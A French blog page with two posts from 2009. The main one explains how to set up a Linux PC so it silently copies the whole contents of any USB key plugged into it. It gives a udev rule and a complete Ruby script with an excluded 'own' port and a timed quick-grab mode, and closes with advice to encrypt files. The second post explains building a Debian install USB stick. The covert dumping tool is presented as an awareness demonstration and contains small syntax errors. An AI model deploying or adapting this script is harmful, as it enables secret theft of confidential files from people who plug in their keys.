Affichage des articles dont le libellé est usb. Afficher tous les articles
Affichage des articles dont le libellé est usb. Afficher tous les articles

mardi 13 octobre 2009

Danger pour les clés usb

On parle beaucoup du risque des clefs USB pour les PC car c'est un excellent vecteur d'infection (utilisé par conficker par exemple), mais on parle beaucoup moins du risque de perte de confidentialité dû à l'insertion d'une clef USB dans un PC inconnu. Ce risque est pourtant important comme je vais le montrer ici.

L'objectif ici est de copier le contenu de la clef USB (dump) sur le PC dans laquelle elle est insérée et tout ceci à l'insu de son utilisateur. Pour cela je vais utiliser une machine tournant sous Linux, mais il existe bien entendu des équivalents sous Windows.

Sous Linux, le gestionnaire de périphériques depuis le noyau 2.6 s'appelle udev. Il permet de gérer les différents périphériques du répertoire /dev, et de notamment permettre l'exécution d'une commande lors de l'insertion d'un de ces périphériques. C'est exactement ce dont nous avons besoin : exécuter un programme qui copiera le contenu de la clef USB lors de son insertion.

Udev se configure à l'aide de règles que l'on peut trouver dans le répertoire /etc/udev/rules.d et dans le répertoire /lib/udev/rules.d. On commence par créer un nouveau fichier, que l'on va appeler 90_usbdump.rules. Les fichiers sont lus en commençant d'abord par le plus petit chiffre, puis le plus grand. En commençant par 90 on s'assure dans notre exemple que notre fichier sera lu en dernier.

Voilà le contenu de ce fichier :
ACTION=="add", KERNEL=="sd*", RUN+="/root/bin/usb_dumper.rb"

La syntaxe des fichiers rules peut se trouver ici. La règle de ce fichier veut dire, que si c'est une action d'ajout et qu'il y a création d'un device de type sd (sda, sdb, sdc, sda1...), alors on va exécuter le programme suivant /root/bin/usb_dumper.rb. De manière générale, le signe "==" entraîne une condition et le signe "+=" entraîne une réaction qui devra être réalisée si toutes les conditions précédentes sont respectées.

Voilà tout est fait, il ne reste plus qu'à coder le programme usb_dumper.rb qui se chargera de copier le contenu de la clef USB.
J'ai choisi de faire ce programme en ruby (d'où l'extension rb), pour apprendre ce langage qui est nouveau pour moi.

Lors de l'exécution du programme spécifié dans le paramètre RUN, de nombreuses variables d'environnement sont créées qui vont nous permettre d'obtenir les informations nécessaires à la réalisation de notre programme. Le programme suivant permet de récupérer toutes ces variables (il faut changer la commande RUN pour exécuter ce programme) :

#!/usr/bin/env ruby
file = File.new("/root/tmp/log", "a+"):
ENV.each {|k,v| file.puts "#{k}:#{v}"}
file.close();

Le résultat après insertion de la clef usb permet de donner quelques informations importantes comme le type d'action qu'il y a eu (insertion, extraction...), le device responsable (/dev/sdb par exemple), le bus utilisé... Ces informations vont permettre à notre programme de savoir où chercher la clef et aussi de faire différentes actions en fonction du port usb physique utilisé par exemple.

Le code source de usb_dumpe.rb est fourni commenté.
#!/usr/bin/env ruby

require 'fileutils'

# Fichier de log pour savoir ce qui c'est passé
log_file_name = "/root/usb_dump/log"
max_try = 10

# Répertoire de destination du dump de la clef
dest = "/root/usb_dump"

# Si la clef est insérée sur le port physique numéro 1, on ne la dump pas
exclude_usb_port = "1"

# Si la clef est insérée sur le port physique numéro 4, on fait un dump rapide
fast_usb_port = "4"

# Taille max des fichiers a recuperer lors d'un dump rapide
max_size = 5000000

# Temps maximum que l'on s'autorise lors d'un dump rapide
max_time = 60

# Recuperation du device cree (de type /dev/sdb)
device = ENV['DEVNAME']

log_file = File.new(log_file_name, "a+")

# La variable d'environnement ID_PATH nous permet de savoir sur quel port physique on est
if ENV['ID_PATH'].grep(/usb-0:#{exclude_usb_port}:/).length != 0
   log_file.puts "#{ENV['ID_SERIAL']} ignore car present sur un port exclu\n\n"
   exit(0)
end

try = 1

log_file.puts "Lancement usb_dump.rb sur #{device}\n"

# Notre programme est appelé avant que la clef soit montée... on attend donc
while `mount`.grep(/#{device}/).length == 0 and try <= max_try
   sleep(1)
   try += 1
end

if try > max_try
   log_file.puts "USB non monte\n"
   exit(1)
end

# On récupère le répertoire sur lequel la clef est montée
mount_point = `mount`.grep(/#{device}/")[0].gsub(/.*on (.+) type.*$/,'\1').chomp
log_file.puts "Mount Point : #{mount_point}\n"

# Creation du repertoire de stockage
log_file.puts "###### #{ENV['ID_SERIAL']} #{ENV['ID_PATH']} ######\n"
dest += "/" + ENV['ID_SERIAL'] + "_" + Time.now.strftime('%Y%m%d_%H%M')
FileUtils.mkdir(dest)
log_file.puts "Creation de #{dest}...\n"

# On prend le temps de démarrage au cas où on devrait respecter une durée maximale
start_time = Time.now

# On parcourt recursivement la clef
Dir[mount_point + "/**/*"].each do |f|

   # Si on est sur le port physique qui demande de la rapidité, on vérifie qu'on a pas dépassé le temps maximum
   if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0
      current_time = Time.now
      log_file.puts "Temps : #{current_time - start_time} #{current_time - start_time >= max_time}\n"
      if current_time - start_time >= max_time
         log_file.puts "Stop car depassement du temps\n\n"
         exit(0)
      end
   end

   log_file.puts "#{f}"
   dst = dest + f[mount_point.length,f.length]
   if File.directory?(f)
      FileUtils.mkdir(dst)
      log_file.puts "Creation de #{dst}...\n"
   elsif File.file?(f)
      # Si on est sur le port physique qui demande de la rapidité, on ne copie pas les gros fichiers
      if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0 and File.size(f) > max_size
         file_size = File.size(f)
         log_file.puts "Fichier #{f} trop volumineux : #{file_size}\n"
      else
         FileUtils.copy_file(f,dst)
         log_file.puts "Copie de #{f} vers #{dst}...\n"
      end
   end
end
log_file.puts "\n\n"
log_file.close()

Comme on peut le voir, en quelques lignes de codes on peut très facilement mettre en place un système qui aspirera le contenu d'une clef USB de façon complètement transparente pour l'utilisateur.
Le script fait la distinction entre 3 catégories de port USB. Un port qui n'aspirera pas le contenu de la clef (utile pour ne pas se faire aspirer sa propre clef), un port qui aspirera le contenu des clefs en se limitant aux fichiers inférieurs à une certaine taille et limité dans le temps (dans le cas où on ne peut pas se permettre de garder la clef trop longtemps) et tous les autres ports feront une copie de tout le contenu de la clef.

Il est bien entendu possible d'adapter ce script, pour par exemple limiter la copie à certains types de fichiers, envoyer le contenu directement sur Internet...

Il est donc impératif de faire très attention quand on branche sa clef USB sur une machine inconnue, sous peine de voir le contenu de notre clef dupliqué sur l'ordinateur (voire carrément transféré directement sur Internet). La seule parade à cela reste de chiffrer l'ensemble de nos fichiers confidentiels, par l'intermédiaire de truecrypt par exemple.

Update :
Equivalents Windows : USBDumper et USBVirusScan (Merci Rémy).

mercredi 13 mai 2009

Debian grâce à l'USB

Le lecteur de CD/DVD aujourd'hui est un peu le lecteur de disquette d'il y a quelques années, il est voué à disparaître. La plupart des ordinateurs actuels en sont même dépourvus, à plus forte raison si le PC à pour objectif de faire une petite passerelle. C'est mon cas aujourd'hui, j'ai acheté un boîtier mini itx pour installer une nouvelle passerelle à bas prix, et bien entendu je n'ai pas de lecteur CD/DVD. Alors comment installer ma petite Debian dessus ? J'ai choisi l'USB (bien entendu la machine doit être capable de booter sur un disque USB, mais c'est toujours le cas avec les machines récentes).

Tout ceci est très bien expliqué ici.

ATTENTION LA CLEF USB SERA EFFACEE ENTIEREMENT


On commence par télécharger le fichier hd-media/boot.img.gz qui contient tous les fichiers de l'installateur, le noyau et le programme syslinux avec son fichier de configuration. On tape la commande suivante :
$ zcat boot.img.gz > /dev/sdX

sdX représente votre clef USB.

Ensuite on copie notre mini distribution debian de type netinst ou businesscard (seul 256 mo de la clef seront reconnues) et on la copie sur notre clef.
$ mount /dev/sdX /mnt/ma_clef
$ cp debian-501-i386-businesscard.iso /mnt/ma_clef
$ umount /mnt/ma_clef

Et voilà, on a maintenant une clef USB bootable permettant d'initier une installation debian. Il ne manque plus qu'à installer les paquets via le réseau.